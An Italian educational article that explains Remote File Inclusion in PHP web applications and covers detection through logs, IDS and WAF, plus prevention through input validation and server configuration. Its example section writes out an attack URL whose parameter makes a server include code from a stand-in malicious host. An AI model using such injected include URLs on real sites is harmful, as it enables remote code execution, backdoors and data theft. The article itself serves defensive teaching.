Remote File Inclusion (RFI) è una delle vulnerabilità più insidiose con cui possono trovarsi a fare i conti gli sviluppatori web e gli amministratori di sistema. Questa minaccia, se non rilevata e mitigata, può permettere ad un attaccante di guadagnare un accesso non autorizzato al sistema, compromettendo così la sicurezza dei dati e delle risorse aziendali.

Nell’ambito della crescente gamma di minacce informatiche, RFI rappresenta una sfida seria e persistente per la sicurezza web.

remote file inclusion rfi

Cos’è Remote File Inclusion (RFI)?

Remote File Inclusion (RFI) è un tipo di attacco informatico che mira a sfruttare le vulnerabilità presenti nelle applicazioni web che fanno riferimento a script esterni in modo dinamico. Gli aggressori, attraverso questo metodo, cercano di abusare delle funzionalità dell’applicazione per caricare e eseguire malware da un URL remoto appartenente a un dominio differente. Un attacco RFI riuscito può risultare in furto di dati, compromissione dei server e il controllo del sito che consente modifiche non autorizzate al contenuto.

Come vengono condotti gli attacchi RFI?

Durante un attacco di Remote File Inclusion (RFI), un aggressore sfrutta le vulnerabilità in una applicazione web che fa riferimento a script esterni.
Manipolando i parametri delle richieste, l’aggressore può indirizzare l’applicazione a includere ed eseguire file maligni da un URL remoto.

Una volta che il file maligno è caricato sul server, può essere eseguito, permettendo all’aggressore di guadagnare accesso non autorizzato, caricare ulteriore malware, rubare dati, o persino prendere il controllo totale del server e modificarne il contenuto.

Un esempio

Supponiamo di avere un’applicazione web sviluppata in linguaggio PHP che gestisce una pagina di notizie.
La pagina accetta un parametro via URL per determinare quale notizia mostrare.

Il codice potrebbe assomigliare a questo:

esempio remote file inclusion

In un caso ideale, l’URL sarebbe qualcosa come:

http://esempio.com/mostra_notizia.php?notizia=articolo1

Il server includerebbe ed eseguirebbe il file articolo1.php. Tuttavia, senza una valida sanificazione dell’input, un aggressore potrebbe manipolare l’URL per includere un file malevolo da un server remoto:

http://esempio.com/mostra_notizia.php?notizia=http://sitosospetto.com/malware

Ora, il server proverà a includere ed eseguire il file malware.php dal server remoto. Questo file potrebbe contenere codice PHP maligno che, ad esempio, crea una backdoor sul server, ruba dati sensibili o modifica il contenuto del sito in modo dannoso.

In altre parole, in un attacco RFI, un malintenzionato sfrutta un punto debole di un sito web per far caricare al sito stesso un file dannoso da un altro sito.
Una volta che il file dannoso è sul sito web, può fare molte cose come rubare informazioni o danneggiare il sito. In buona sostanza, è come se il malintenzionato lasciasse una chiave nascosta per entrare in una casa quando vuole, per rubare o fare danni.

Rischi dell’attacco e effetti dannosi

Gli attacchi di Remote File Inclusion (RFI) sono molto pericolosi in quanto permettono agli hacker di ottenere un accesso non autorizzato ai sistemi, rubare dati sensibili o di distribuire a loro volta altri malware, il che può portare a una serie di problemi come la perdita di informazioni cruciali, danneggiamenti del sistema o interruzioni del servizio.

Identificare un attacco in corso

Riconoscere un attacco RFI tecnicamente implica:

  1. Analisi dei log: verifica i log del web server per richieste di URL sospette che tentano di accedere a risorse esterne.
  2. Sistemi di rilevamento delle intrusioni (IDS): configura IDS per rilevare pattern associati a RFI.
  3. WAF (Web Application Firewall): imposta regole specifiche nel WAF per bloccare tentativi di inclusione di file remoti.
  4. Analisi statica del codice: esegue un’analisi statica del codice per identificare punti in cui l’input dell’utente viene utilizzato per includere file senza adeguata sanificazione.

Queste tecniche possono aiutare a identificare e prevenire potenziali attacchi RFI.

Neutralizzazione delle minacce RFI attraverso la valutazione delle vulnerabilità

La prevenzione degli attacchi di Remote File Inclusion (RFI) necessita di un approccio multi-faceted che integri misure di sicurezza robuste a livello di codice, server e rete. Al centro di questo schema di prevenzione vi è la valutazione delle vulnerabilità, un processo che aiuta a scoprire, analizzare e mitigare le vulnerabilità che potrebbero essere sfruttate per lanciare attacchi RFI.

In primo luogo, la validazione rigorosa dell’input è cruciale. Ogni input fornito dagli utenti deve essere validato e sanificato per assicurarsi che non contenga riferimenti a file remoti. Questo può essere fatto utilizzando funzioni di sanificazione dell’input robuste e espressioni regolari per filtrare input dannosi.

Parallelamente, la configurazione del server web gioca un ruolo chiave nella prevenzione RFI. Disabilitando funzioni pericolose come l’inclusione di file remoti e configurando il server per gestire in modo sicuro le richieste, si crea un ambiente meno propenso a vulnerabilità RFI.

Inoltre, l’implementazione di un Web Application Firewall (WAF) fornisce un ulteriore strato di protezione. Un WAF può essere configurato per rilevare e bloccare tentativi di RFI, fornendo così una linea di difesa robusta contro tali attacchi.

La fase di valutazione delle vulnerabilità entra in gioco per identificare le aree a rischio.
Utilizzando strumenti di scansione delle vulnerabilità e tecniche di analisi statica e analisi dinamica del codice, è possibile scoprire e correggere le vulnerabilità che potrebbero permettere attacchi RFI. Questa valutazione dovrebbe essere un’attività continua, con scansioni regolari che aiutano a mantenere un alto livello di consapevolezza delle possibili minacce e a garantire che le misure di mitigazione siano efficaci.